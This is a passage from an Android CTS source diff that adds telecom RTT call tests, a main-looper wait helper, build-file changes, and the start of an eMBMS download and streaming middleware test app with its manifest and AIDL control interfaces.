+    private static final int RTT_FAILURE_REASON = 2;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (mShouldTestTelecom) {
+            setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        }
+    }
+
+    public void testOutgoingRttCall() throws Exception {
+        placeRttCall(false);
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttEnabled(call, connection);
+    }
+
+    public void testIncomingRttCall() throws Exception {
+        placeRttCall(true);
+        final MockConnection connection = verifyConnectionForIncomingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttEnabled(call, connection);
+    }
+
+    public void testLocalRttUpgradeAccepted() throws Exception {
+        placeAndVerifyCall();
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        verifyRttDisabled(call);
+
+        TestUtils.InvokeCounter startRttCounter =
+                connection.getInvokeCounter(MockConnection.ON_START_RTT);
+        call.sendRttRequest();
+        startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+        connection.setRttTextStream((Connection.RttTextStream) startRttCounter.getArgs(0)[0]);
+        connection.sendRttInitiationSuccess();
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttEnabled(call, connection);
+    }
+
+    public void testLocalRttUpgradeRejected() throws Exception {
+        placeAndVerifyCall();
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        verifyRttDisabled(call);
+
+        TestUtils.InvokeCounter startRttCounter =
+                connection.getInvokeCounter(MockConnection.ON_START_RTT);
+        call.sendRttRequest();
+        startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+        connection.sendRttInitiationFailure(RTT_FAILURE_REASON);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        mOnRttInitiationFailedCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        assertEquals(call, mOnRttInitiationFailedCounter.getArgs(0)[0]);
+        assertEquals(RTT_FAILURE_REASON, mOnRttInitiationFailedCounter.getArgs(0)[1]);
+        verifyRttDisabled(call);
+    }
+
+    public void testAcceptRemoteRttUpgrade() throws Exception {
+        placeAndVerifyCall();
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        verifyRttDisabled(call);
+
+        TestUtils.InvokeCounter rttRequestResponseCounter =
+                connection.getInvokeCounter(MockConnection.ON_RTT_REQUEST_RESPONSE);
+        connection.sendRemoteRttRequest();
+        mOnRttRequestCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        int requestId = (Integer) mOnRttRequestCounter.getArgs(0)[1];
+        call.respondToRttRequest(requestId, true /* accept */);
+
+        rttRequestResponseCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttEnabled(call, connection);
+    }
+
+    public void testRejectRemoteRttRequest() throws Exception {
+        placeAndVerifyCall();
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        verifyRttDisabled(call);
+
+        TestUtils.InvokeCounter rttRequestResponseCounter =
+                connection.getInvokeCounter(MockConnection.ON_RTT_REQUEST_RESPONSE);
+        connection.sendRemoteRttRequest();
+        mOnRttRequestCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        int requestId = (Integer) mOnRttRequestCounter.getArgs(0)[1];
+        call.respondToRttRequest(requestId, false /* accept */);
+
+        rttRequestResponseCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        assertNull(rttRequestResponseCounter.getArgs(0)[0]);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttDisabled(call);
+    }
+
+    public void testLocalRttTermination() throws Exception {
+        placeRttCall(false);
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+
+        // Skipping RTT verification since that's tested by another test
+        TestUtils.InvokeCounter stopRttCounter =
+                connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
+        call.stopRtt();
+        stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttDisabled(call);
+    }
+
+    public void testRemoteRttTermination() throws Exception {
+        placeRttCall(false);
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+
+        // Skipping RTT verification since that's tested by another test
+        connection.sendRttSessionRemotelyTerminated();
+        TestUtils.InvokeCounter stopRttCounter =
+                connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
+        call.stopRtt();
+        stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttDisabled(call);
+    }
+
+    private void verifyRttDisabled(Call call) {
+        TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        assertFalse(call.isRttActive());
+        assertNull(call.getRttCall());
+    }
+
+    private void verifyRttEnabled(Call call, MockConnection connection) {
+        TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        Connection.RttTextStream connectionSideRtt = connection.getRttTextStream();
+        Call.RttCall inCallSideRtt = call.getRttCall();
+        assertNotNull(connectionSideRtt);
+        assertTrue(call.isRttActive());
+        assertNotNull(inCallSideRtt);
+
+        verifyRttPipeIntegrity(inCallSideRtt, connectionSideRtt);
+    }
+
+    private void verifyRttPipeIntegrity(Call.RttCall inCallSide, Connection.RttTextStream
+            connectionSide) {
+        for (String s : TEST_STRINGS) {
+            try {
+                inCallSide.write(s);
+                waitUntilConditionIsTrueOrTimeout(new Condition() {
+                    String readSoFar = "";
+                    @Override
+                    public Object expected() {
+                        return s;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        try {
+                            String newRead = connectionSide.readImmediately();
+                            if (newRead != null) {
+                                readSoFar += newRead;
+                            }
+                            return readSoFar;
+                        } catch (IOException e) {
+                            fail("IOException while reading from connection side");
+                            return null;
+                        }
+                    }
+                }, RTT_SEND_TIMEOUT_MILLIS, String.format("%s failed to send correctly.", s));
+
+                connectionSide.write(s);
+                waitUntilConditionIsTrueOrTimeout(new Condition() {
+                    String readSoFar = "";
+                    @Override
+                    public Object expected() {
+                        return s;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        try {
+                            String newRead = inCallSide.readImmediately();
+                            if (newRead != null) {
+                                readSoFar += newRead;
+                            }
+                            return readSoFar;
+                        } catch (IOException e) {
+                            fail("IOException while reading from incall side");
+                            return null;
+                        }
+                    }
+                }, RTT_SEND_TIMEOUT_MILLIS, String.format("%s failed to send correctly.", s));
+            } catch (IOException e) {
+                fail(String.format(
+                        "Caught IOException when verifying %s", s));
+            }
+
+        }
+    }
+    private void placeRttCall(boolean incoming) {
+        Bundle extras = new Bundle();
+        extras.putBoolean(TelecomManager.EXTRA_START_CALL_WITH_RTT, true);
+        if (incoming) {
+            addAndVerifyNewIncomingCall(createTestNumber(), extras);
+        } else {
+            Bundle outgoingCallExtras = new Bundle();
+            outgoingCallExtras.putParcelable(TelecomManager.EXTRA_OUTGOING_CALL_EXTRAS, extras);
+            placeAndVerifyCall(outgoingCallExtras);
+        }
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index eea7284..5c67190 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -25,6 +25,8 @@
 import android.net.Uri;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
 import android.os.SystemClock;
@@ -79,6 +81,7 @@
             .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
             .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
                     PhoneAccount.CAPABILITY_VIDEO_CALLING |
+                    PhoneAccount.CAPABILITY_RTT |
                     PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
             .setHighlightColor(Color.RED)
             .setShortDescription(ACCOUNT_LABEL)
@@ -170,6 +173,19 @@
         executeShellCommand(instrumentation, COMMAND_WAIT_ON_HANDLERS);
     }
 
+    public static void waitOnLocalMainLooper(long timeoutMs) {
+        Handler mainHandler = new Handler(Looper.getMainLooper());
+        final CountDownLatch lock = new CountDownLatch(1);
+        mainHandler.post(lock::countDown);
+        while (lock.getCount() > 0) {
+            try {
+                lock.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                // do nothing
+            }
+        }
+    }
+
     /**
      * Executes the given shell command and returns the output in a string. Note that even
      * if we don't care about the output, we have to read the stream completely to make the
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index d839924..5710e93 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -24,7 +24,10 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	ctstestrunner \
+	legacy-android-test
 
 src_dirs := src \
     ../telecom/src/android/telecom/cts/SelfManagedConnection.java \
@@ -46,6 +49,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index 29bccc3..a9afd31 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -29,8 +29,7 @@
 src_dirs := src \
     ../telecom/src/android/telecom/cts/SelfManagedConnection.java \
     ../telecom/src/android/telecom/cts/CtsSelfManagedConnectionService.java \
-    ../telecom/src/android/telecom/cts/TestUtils.java \
-    ../telecom/src/android/telecom/cts/MockDialerActivity.java
+    ../telecom/src/android/telecom/cts/TestUtils.java
 
 res_dirs := ../telecom/res
 
@@ -46,6 +45,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index e502384..ea77288 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -31,12 +31,16 @@
 
 LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+                   $(call all-java-files-under, EmbmsMiddlewareTestApp) \
+                   $(call all-Iaidl-files-under, EmbmsMiddlewareTestApp)
+
+LOCAL_AIDL_INCLUDES := EmbmsMiddlewareTestApp/aidl/
 
 LOCAL_PACKAGE_NAME := CtsTelephonyTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # uncomment when b/13250611 is fixed
 #LOCAL_SDK_VERSION := current
diff --git a/tests/tests/telephony/AndroidManifest.xml b/tests/tests/telephony/AndroidManifest.xml
index 38d20c6..a50329a 100644
--- a/tests/tests/telephony/AndroidManifest.xml
+++ b/tests/tests/telephony/AndroidManifest.xml
@@ -30,7 +30,10 @@
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.BLUETOOTH" />
+    <uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
 
+    <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
+                android:protectionLevel="signature"/>
     <application>
         <provider android:name="android.telephony.cts.MmsPduProvider"
                   android:authorities="telephonyctstest"
@@ -127,6 +130,30 @@
         </activity>
 
         <uses-library android:name="android.test.runner" />
+
+
+        <!-- This is the receiver defined by the MBMS api. -->
+        <receiver
+            android:name="android.telephony.mbms.MbmsDownloadReceiver"
+            android:permission="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
+            android:enabled="true"
+            android:exported="true">
+        </receiver>
+
+        <provider
+            android:name="android.telephony.mbms.MbmsTempFileProvider"
+            android:authorities="android.telephony.mbms.cts"
+            android:exported="false"
+            android:grantUriPermissions="true">
+        </provider>
+
+        <meta-data android:name="mbms-streaming-service-override"
+                   android:value="android.telephony.cts.embmstestapp/.CtsStreamingService"/>
+        <meta-data android:name="mbms-download-service-override"
+                   android:value="android.telephony.cts.embmstestapp/.CtsDownloadService"/>
+        <meta-data
+            android:name="mbms-file-provider-authority"
+            android:value="android.telephony.mbms.cts"/>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/telephony/AndroidTest.xml b/tests/tests/telephony/AndroidTest.xml
index 0aebd01..6e21acb 100644
--- a/tests/tests/telephony/AndroidTest.xml
+++ b/tests/tests/telephony/AndroidTest.xml
@@ -14,6 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Telephony test cases">
+    <target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
+        <option name="apk" value="CtsTelephonyPreparerApp.apk" />
+        <option name="package" value="android.telephony.cts.preconditions.app" />
+    </target_preparer>
     <option name="config-descriptor:metadata" key="component" value="telecom" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card" />
@@ -21,6 +25,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelephonyTestCases.apk" />
+        <option name="test-file-name" value="EmbmsMiddlewareCtsTestApp.apk"/>
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telephony.cts" />
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
new file mode 100644
index 0000000..cbd18b2
--- /dev/null
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
@@ -0,0 +1,21 @@
+LOCAL_PATH:= $(call my-dir)
+
+# Build the Sample Embms Services
+include $(CLEAR_VARS)
+
+src_dirs := src
+
+LOCAL_SRC_FILES := $(call all-java-files-under, $(src_dirs)) \
+                   $(call all-Iaidl-files-under, aidl)
+
+LOCAL_AIDL_INCLUDES := aidl/
+
+LOCAL_PACKAGE_NAME := EmbmsMiddlewareCtsTestApp
+
+LOCAL_MODULE_TAGS := optional
+LOCAL_SDK_VERSION := test_current
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_PROGUARD_ENABLED := disabled
+include $(BUILD_PACKAGE)
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml b/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..0ea1be2
--- /dev/null
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.telephony.cts.embmstestapp">
+  <permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
+              android.protectionLevel="signature"/>
+
+  <uses-permission android:name="android.telephony.cts.embms.permission.SEND_EMBMS_INTENTS"/>
+  <uses-permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"/>
+
+  <application android:label="EmbmsCtsMiddleware">
+    <service android:name="android.telephony.cts.embmstestapp.CtsStreamingService"
+            android:launchMode="singleInstance">
+      <intent-filter>
+        <action android:name="android.telephony.action.EmbmsStreaming" />
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+      </intent-filter>
+    </service>
+    <service android:name="android.telephony.cts.embmstestapp.CtsDownloadService"
+             android:launchMode="singleInstance">
+      <intent-filter>
+        <action android:name="android.telephony.action.EmbmsDownload" />
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+      </intent-filter>
+    </service>
+  </application>
+</manifest>
+
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsDownloadMiddlewareControl.aidl b/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsDownloadMiddlewareControl.aidl
new file mode 100644
index 0000000..833ac74
--- /dev/null
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsDownloadMiddlewareControl.aidl
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.embmstestapp;
+
+import android.os.Bundle;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.FileInfo;
+
+interface ICtsDownloadMiddlewareControl {
+    // Resets the state of the CTS middleware
+    void reset();
+    // Get a list of calls made to the middleware binder.
+    // Looks like List<List<Object>>, where the first Object is always a String corresponding to
+    // the method name.
+    List<Bundle> getDownloadSessionCalls();
+    // Force all methods that can return an error to return this error.
+    void forceErrorCode(int error);
+    // Fire the error callback on the download session
+    void fireErrorOnSession(int errorCode, String message);
+    // Fire the download state callback methods
+    void fireOnProgressUpdated(in DownloadRequest request, in FileInfo fileInfo,
+            int currentDownloadSize, int fullDownloadSize,
+            int currentDecodedSize, int fullDecodedSize);
+    void fireOnStateUpdated(in DownloadRequest request, in FileInfo fileInfo, int state);
+
+    // calling download() does nothing, this is to actually start the file-download flow.
+    void actuallyStartDownloadFlow();
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsStreamingMiddlewareControl.aidl b/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsStreamingMiddlewareControl.aidl
new file mode 100644
index 0000000..b882e23
--- /dev/null
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsStreamingMiddlewareControl.aidl
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.embmstestapp;
+
+import android.os.Parcel;
+
+interface ICtsStreamingMiddlewareControl {
+    // Resets the state of the CTS middleware
+    void reset();
+    // Get a list of calls made to the middleware binder.
+    // Looks like List<List<Object>>, where the first Object is always a String corresponding to
+    // the method name.
+    List getStreamingSessionCalls();
+    // Force all methods that can return an error to return this error.
+    void forceErrorCode(int error);
+    // Fire the error callback on the current active stream
+    void fireErrorOnStream(int errorCode, String message);
+    // Fire the error callback on the streaming session
+    void fireErrorOnSession(int errorCode, String message);
+    // The following fire callbacks on the active stream, using the provided arguments
+    void fireOnMediaDescriptionUpdated();
+    void fireOnBroadcastSignalStrengthUpdated(int signalStrength);
+    void fireOnStreamMethodUpdated(int methodType);
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java b/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java
new file mode 100644
index 0000000..01777c6
--- /dev/null
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java
@@ -0,0 +1,419 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.embmstestapp;
+
+import android.app.Activity;
+import android.app.Service;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.RemoteException;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.DownloadStateCallback;
+import android.telephony.mbms.FileInfo;
+import android.telephony.mbms.FileServiceInfo;
+import android.telephony.mbms.MbmsDownloadSessionCallback;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.UriPathPair;
+import android.telephony.mbms.vendor.MbmsDownloadServiceBase;
+import android.telephony.mbms.vendor.VendorUtils;
+import android.util.Log;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Set;
+
+public class CtsDownloadService extends Service {
+    private static final Set<String> ALLOWED_PACKAGES = new HashSet<String>() {{
+        add("android.telephony.cts");
+    }};
+    private static final String TAG = "EmbmsTestDownload";
+
+    public static final String METHOD_NAME = "method_name";
+    public static final String METHOD_INITIALIZE = "initialize";
+    public static final String METHOD_REQUEST_UPDATE_FILE_SERVICES =
+            "requestUpdateFileServices";
+    public static final String METHOD_SET_TEMP_FILE_ROOT = "setTempFileRootDirectory";
+    public static final String METHOD_RESET_DOWNLOAD_KNOWLEDGE = "resetDownloadKnowledge";
+    public static final String METHOD_GET_DOWNLOAD_STATUS = "getDownloadStatus";
+    public static final String METHOD_CANCEL_DOWNLOAD = "cancelDownload";
+    public static final String METHOD_CLOSE = "close";
+    // Not a method call, but it's a form of communication to the middleware so it's included
+    // here for convenience.
+    public static final String METHOD_DOWNLOAD_RESULT_ACK = "downloadResultAck";
+
+    public static final String ARGUMENT_SUBSCRIPTION_ID = "subscriptionId";
+    public static final String ARGUMENT_SERVICE_CLASSES = "serviceClasses";
+    public static final String ARGUMENT_ROOT_DIRECTORY_PATH = "rootDirectoryPath";
+    public static final String ARGUMENT_DOWNLOAD_REQUEST = "downloadRequest";
+    public static final String ARGUMENT_FILE_INFO = "fileInfo";
+    public static final String ARGUMENT_RESULT_CODE = "resultCode";
+
+    public static final String CONTROL_INTERFACE_ACTION =
+            "android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE";
+    public static final ComponentName CONTROL_INTERFACE_COMPONENT =
+            ComponentName.unflattenFromString(
+                    "android.telephony.cts.embmstestapp/.CtsDownloadService");
+    public static final ComponentName CTS_TEST_RECEIVER_COMPONENT =
+            ComponentName.unflattenFromString(
+                    "android.telephony.cts/android.telephony.mbms.MbmsDownloadReceiver");
+
+    public static final Uri DOWNLOAD_SOURCE_URI = Uri.parse("http://www.example.com/file_download");
+    public static final FileServiceInfo FILE_SERVICE_INFO;
+    public static final FileInfo FILE_INFO = new FileInfo(
+            DOWNLOAD_SOURCE_URI.buildUpon().appendPath("file1.txt").build(),
+            "text/plain");
+    public static final byte[] SAMPLE_FILE_DATA = "this is some sample file data".getBytes();
+
+    static {
+        String id = "FileServiceId";
+        Map<Locale, String> localeDict = new HashMap<Locale, String>() {{
+            put(Locale.US, "Entertainment Source 1");
+            put(Locale.CANADA, "Entertainment Source 1, eh?");
+        }};
+        List<Locale> locales = new ArrayList<Locale>() {{
+            add(Locale.CANADA);
+            add(Locale.US);
+        }};
+        FILE_SERVICE_INFO = new FileServiceInfo(localeDict, "class1", locales,
+                id, new Date(2017, 8, 21, 18, 20, 29),
+                new Date(2017, 8, 21, 18, 23, 9), Collections.singletonList(FILE_INFO));
+    }
+
+    private MbmsDownloadSessionCallback mAppCallback;
+    private DownloadStateCallback mDownloadStateCallback;
+
+    private HandlerThread mHandlerThread;
+    private Handler mHandler;
+    private List<Bundle> mReceivedCalls = new LinkedList<>();
+    private int mErrorCodeOverride = MbmsErrors.SUCCESS;
+    private List<DownloadRequest> mReceivedRequests = new LinkedList<>();
+    private String mTempFileRootDirPath = null;
+
+    private final MbmsDownloadServiceBase mDownloadServiceImpl = new MbmsDownloadServiceBase() {
+        @Override
+        public int initialize(int subscriptionId, MbmsDownloadSessionCallback callback) {
+            Bundle b = new Bundle();
+            b.putString(METHOD_NAME, METHOD_INITIALIZE);
+            b.putInt(ARGUMENT_SUBSCRIPTION_ID, subscriptionId);
+            mReceivedCalls.add(b);
+
+            if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+                return mErrorCodeOverride;
+            }
+
+            int packageUid = Binder.getCallingUid();
+            String[] packageNames = getPackageManager().getPackagesForUid(packageUid);
+            if (packageNames == null) {
+                return MbmsErrors.InitializationErrors.ERROR_APP_PERMISSIONS_NOT_GRANTED;
+            }
+            boolean isUidAllowed = Arrays.stream(packageNames).anyMatch(ALLOWED_PACKAGES::contains);
+            if (!isUidAllowed) {
+                return MbmsErrors.InitializationErrors.ERROR_APP_PERMISSIONS_NOT_GRANTED;
+            }
+
+            mHandler.post(() -> {
+                if (mAppCallback == null) {
+                    mAppCallback = callback;
+                } else {
+                    callback.onError(
+                            MbmsErrors.InitializationErrors.ERROR_DUPLICATE_INITIALIZE, "");
+                    return;
+                }
+                callback.onMiddlewareReady();
+            });
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public int requestUpdateFileServices(int subscriptionId, List<String> serviceClasses) {
+            Bundle b = new Bundle();
+            b.putString(METHOD_NAME, METHOD_REQUEST_UPDATE_FILE_SERVICES);
+            b.putInt(ARGUMENT_SUBSCRIPTION_ID, subscriptionId);
+            b.putStringArrayList(ARGUMENT_SERVICE_CLASSES, new ArrayList<>(serviceClasses));
+            mReceivedCalls.add(b);
+
+            if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+                return mErrorCodeOverride;
+            }
+
+            List<FileServiceInfo> serviceInfos = Collections.singletonList(FILE_SERVICE_INFO);
+
+            mHandler.post(() -> {
+                if (mAppCallback!= null) {
+                    mAppCallback.onFileServicesUpdated(serviceInfos);
+                }
+            });
+
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public int download(DownloadRequest downloadRequest) {
+            mReceivedRequests.add(downloadRequest);
+            return MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public int setTempFileRootDirectory(int subscriptionId, String rootDirectoryPath) {
+            Bundle b = new Bundle();
+            b.putString(METHOD_NAME, METHOD_SET_TEMP_FILE_ROOT);
+            b.putInt(ARGUMENT_SUBSCRIPTION_ID, subscriptionId);
+            b.putString(ARGUMENT_ROOT_DIRECTORY_PATH, rootDirectoryPath);
+            mReceivedCalls.add(b);
+            mTempFileRootDirPath = rootDirectoryPath;
+            return 0;
+        }
+
+        @Override
+        public int registerStateCallback(DownloadRequest downloadRequest,
+                DownloadStateCallback listener) throws RemoteException {
